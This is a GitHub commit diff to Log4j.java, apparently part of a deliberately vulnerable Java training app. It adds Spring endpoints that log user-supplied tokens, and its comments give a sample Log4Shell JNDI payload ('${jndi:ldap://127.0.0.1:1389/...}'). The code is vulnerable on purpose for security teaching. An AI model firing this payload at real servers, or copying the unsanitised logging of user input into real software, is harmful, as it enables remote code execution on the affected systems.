Skip to content

Commit 6ec4f5b

Browse files
authored
Update Log4j.java
1 parent 16ac162 commit 6ec4f5b

File tree

1 file changed

+51
-0
lines changed

1 file changed

+51
-0
lines changed

src/main/java/org/joychou/controller/Log4j.java

Lines changed: 51 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -25,6 +25,57 @@ public String log4j(String token) {
2525
public static void main(String[] args) {
2626
String poc = "${jndi:ldap://127.0.0.1:1389/0iun75}";
2727
logger.info(poc);
28+
String token = "token";
29+
String privateKey = "parivate";
30+
logger.error("something wrong, token: {}, privateKey: {}", token, privateKey);
31+
}
32+
33+
/**
34+
* http://localhost:8080/log4j?token=${jndi:ldap://127.0.0.1:1389/0iun75}
35+
* Default: error/fatal/off
36+
* Fix: Update log4j to lastet version.
37+
*/
38+
@RequestMapping(value = "/log4j1")
39+
public String log4j1(String token) {
40+
String privateKey = "parivate";
41+
logger.error("something wrong, token: {}, privateKey: {}", token, privateKey);
42+
return token;
43+
}
44+
45+
46+
/**
47+
* http://localhost:8080/log4j?token=${jndi:ldap://127.0.0.1:1389/0iun75}
48+
* Default: error/fatal/off
49+
* Fix: Update log4j to lastet version.
50+
*/
51+
@RequestMapping(value = "/log4j2")
52+
public String log4j2(String token) {
53+
String privateKey = "parivate";
54+
logger.error("something wrong, token: {}, privateKey: {}", token, privateKey);
55+
return token;
56+
}
57+
58+
/**
59+
* http://localhost:8080/log4j?token=${jndi:ldap://127.0.0.1:1389/0iun75}
60+
* Default: error/fatal/off
61+
* Fix: Update log4j to lastet version.
62+
*/
63+
@RequestMapping(value = "/log4j3")
64+
public String log4j3(String token) {
65+
String privateKey = "parivate";
66+
logger.error("something wrong, token: {}, privateKey: {}", token, privateKey);
67+
return token;
2868
}
2969

70+
/**
71+
* http://localhost:8080/log4j?token=${jndi:ldap://127.0.0.1:1389/0iun75}
72+
* Default: error/fatal/off
73+
* Fix: Update log4j to lastet version.
74+
*/
75+
@RequestMapping(value = "/log4j4")
76+
public String log4j4(String token) {
77+
String param = "param";
78+
logger.error("something wrong, token: {}, param: {}", token, param);
79+
return token;
80+
}
3081
}

0 commit comments

Comments
 (0)